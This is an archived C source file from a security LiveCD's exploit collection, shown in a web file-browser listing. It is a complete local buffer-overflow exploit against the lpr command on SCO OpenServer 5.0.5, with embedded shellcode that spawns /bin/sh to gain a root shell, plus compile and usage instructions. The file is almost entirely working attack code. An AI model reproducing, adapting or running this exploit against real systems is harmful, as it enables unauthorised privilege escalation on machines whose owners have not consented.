home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / sco_lpr.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  71 lines

  1. /*
  2.  * sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell
  3.  * Tested on SCO 5.0.5+Skunkware98
  4.  *
  5.  *  Compile gcc -o sco_lpr sco_lpr.c
  6.  *   sco_lpr <offset> <bufsiz>
  7.  *
  8.  *   -Brock Tellier btellier@webley.com
  9.  */
  10.  
  11.  
  12. #include <stdlib.h>
  13. #include <stdio.h>
  14.  
  15. char scoshell[]= /* doble@iname.com */
  16.   "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  17.   "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  18.   "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  19.  
  20.  
  21. #define LEN 3000
  22. #define NOP 0x90
  23.  
  24. unsigned long get_sp(void)
  25. {
  26.   __asm__("movl %esp, %eax");
  27. }
  28.  
  29.  
  30. int main(int argc, char *argv[])
  31. {
  32.   long int offset=0;
  33.  
  34.   int i;
  35.   int buflen = LEN;
  36.   long int addr;
  37.   char buf[LEN];
  38.  
  39.   if(argc > 3)
  40.     {
  41.       fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
  42.       exit(0);
  43.     }
  44.   else if (argc == 2)
  45.     {
  46.       offset=atoi(argv[1]);
  47.     }
  48.   else if (argc == 3)
  49.     {
  50.       buflen=atoi(argv[2]);
  51.     }
  52.   else
  53.     {
  54.       offset=1800;
  55.       buflen=1500;
  56.     }
  57.  
  58.   addr=get_sp();
  59.   fprintf(stderr, "SCO 5.0.5 lpr exploit\n");
  60.   fprintf(stderr, "Brock Tellier btellier@webley.com\n");
  61.   fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
  62.  
  63.   memset(buf,NOP,buflen);
  64.   memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
  65.   for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
  66.     *(int *)&buf[i]=addr+offset;
  67.  
  68.   execl("/usr/bin/lpr", "lpr", "-o", buf,  NULL);
  69.   exit(0);
  70. }
  71. /*                    www.hack.co.za              [2000]*/